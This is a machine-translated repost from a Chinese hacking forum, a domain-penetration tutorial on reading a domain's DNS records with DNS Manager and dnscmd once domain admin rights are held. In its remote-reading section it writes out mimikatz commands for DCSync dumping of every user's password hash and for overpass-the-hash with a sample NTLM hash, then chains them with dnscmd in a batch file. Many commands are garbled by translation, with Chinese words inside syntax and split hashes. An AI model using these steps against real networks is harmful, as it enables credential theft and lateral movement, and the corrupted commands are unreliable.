跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

域名渗透——DNS获取DNS记录

精选回复

发布于

0x00 前言

在领域渗透中,收集关于领域环境的信息非常重要。如果得到域内管理员的许可,如何快速了解域内的网络架构?DNS记录无疑是一个很好的参考。

本文将介绍在域穿透中获得DNS管理员权限后获取DNS记录的方法。

0x01 简介

本文将介绍以下内容:

通过DNS管理器获取DNS记录

通过dnscmd获取DNS记录

远程读取域中DNS记录的方法

0x02 通过DNS Manager获取DNS记录

测试系统:

Windows Server 2008 R2 x64

选择管理工具-DNS。

在正向查找区域下查找当前域名,正向查找区域可以显示当前域中的DNS记录,包括主机名和对应的IP。

如下图

2-1.png

0x03 通过dnscmd获取DNS记录

dnscmd:

管理DNS服务器的命令行界面,支持远程连接。

默认安装的系统:

Windows Server 2003

Windows Server 2008

Windows Server 2003 R2

Windows Server 2008 R2版

Windows Server 2012

带有SP1的Windows Server 2003

参考资料:

https://docs . Microsoft . com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-和-2012/cc772069(v=ws.11)

Win7系统在使用时需要安装远程服务器管理工具(rsat)。

参考地址:

https://support . Microsoft . com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems

RSAT下载地址:

https://www.microsoft.com/en-us/download/details.aspx?id=7887

测试系统:

Windows Server 2008 R2 x64

常见命令:

(1)列出DNS区域中当前节点的资源记录:

Dnscmd。/EnumZones

如下图

3-1.png

(2)列出test.com的信息:

Dnscmd。/test.com ZoneInfo

如下图

3-2.png

(3)列举test.com中的记录,方法1(更详细):

Dnscmd。/区域打印test.com

如下图

3-3.png

(4)列举testc.com的记录,方法2:

Dnscmd。/enum记录test.com。

如下图

3-4.png

结果与DNS管理器获得的记录一致。

0x04 域内远程读取DNS记录的方法

方法分析

先决条件是获得域管理员的许可。

第一种方法是远程连接到域控制器,然后在域控制器上执行dnscmd来获取DNS记录。

第二种方法是在域中的主机上执行dnscmd来远程读取DNS记录。

但是Win7系统默认不支持dnscmd,直接安装远程服务器管理工具(RSAT)不现实。

因此,我试图找到一种在没有远程服务器管理工具(RSAT)的系统上执行dnscmd的方法

方法测试

拷贝一个dnscmd.exe到没有安装远程服务器管理工具(RSAT)的Win7系统,直接执行,结果失败。

解决方法

通过进程监视器记录dnscmd的执行过程,看看缺了哪些文件。

如下图

4-1.png

缺少文件dnscmd.exe.mui。

把缺失的文件全部补上,重新测试,最后找到解决方案。

要在没有远程服务器管理工具(RSAT)的系统上执行dnscmd,必须满足以下条件:

Dnscmd保存在路径C:\Windows\System32中。

Dnscmd.exe.mui保存在C:\Windows\System32\en-US下(此位置是常规位置,也可以在其他位置)

注:

Dnscmd和dnscmd.exe.mui可以在Windows Server 2008 R2下使用。

下面是一个测试文件(我从Windows Server 2008 R2获得):

https://github.com/3gstudent/test/blob/master/dnscmd.exe

https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui

注:

仅测试

因为dnscmd不提供远程连接时输入用户名和密码的接口,所以需要mimikatz的over-the-hash。

首先需要获取域管理员用户的hash,这里只能使用ntlm/rc4/aes128/aes256。

如果您获得了域管理员用户的明文密码,您可以首先将明文转换为ntlm,即在线加密网站:

https://md5decrypt.net/en/Ntlm/

补充:使用dcsync获取域中所有用户哈希的方法

在域控制器上执行mimikatz:

mimikatz.exe权限:debug ' LSA dump:DC sync/domain:test . local/all/CSV exit '

实际测试

测试环境的参数如下:

域管理员用户:管理员

密码:DomainAdmin456!

哈希:a55e 0720 f 0041193632 a 58 e 007624 b 40

天桥杂凑:

mimikatz.exe特权:debug ' sekurlsa:PTH/user:Administrator/domain:test . com/NTLM:a55e 0720 f 0041193632 a 58e 007624 b 40 '

这将弹出一个cmd.exe。

接着使用dnscmd远程连接进行查询:

dnscmd WIN-F08C969D7FM.test.com/enum区

或者

dnscmd WIN-f08c 969d 7fm/enum区域

注:

这里要使用正式域名(完全限定的域名)或者计算机名

如下图

4-2.png

如果想在命令行下实现整个流程,可以采用如下方法:

新建c:\test\1.bat,内容如下:

dnscmd WIN-F08C969D7FM.test.com/enum区域c:\ test \ out。文本文件(textfile)

天桥杂凑:

mimikatz.exe特权*调试' sekurlsa:PTH/用户:管理员/域:测试。com/NTLM:a55e 0720 f 0041193632 a 58e 007624 b 40/run:' cmd。exe/c:\ test \ 1。蝙蝠”

注:

cmd.exe下'需要使用转义字符'

0x05 小结

本文介绍了在域内使用立交桥实现dnscmd远程读取域名服务器(域名服务器)记录的方法

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。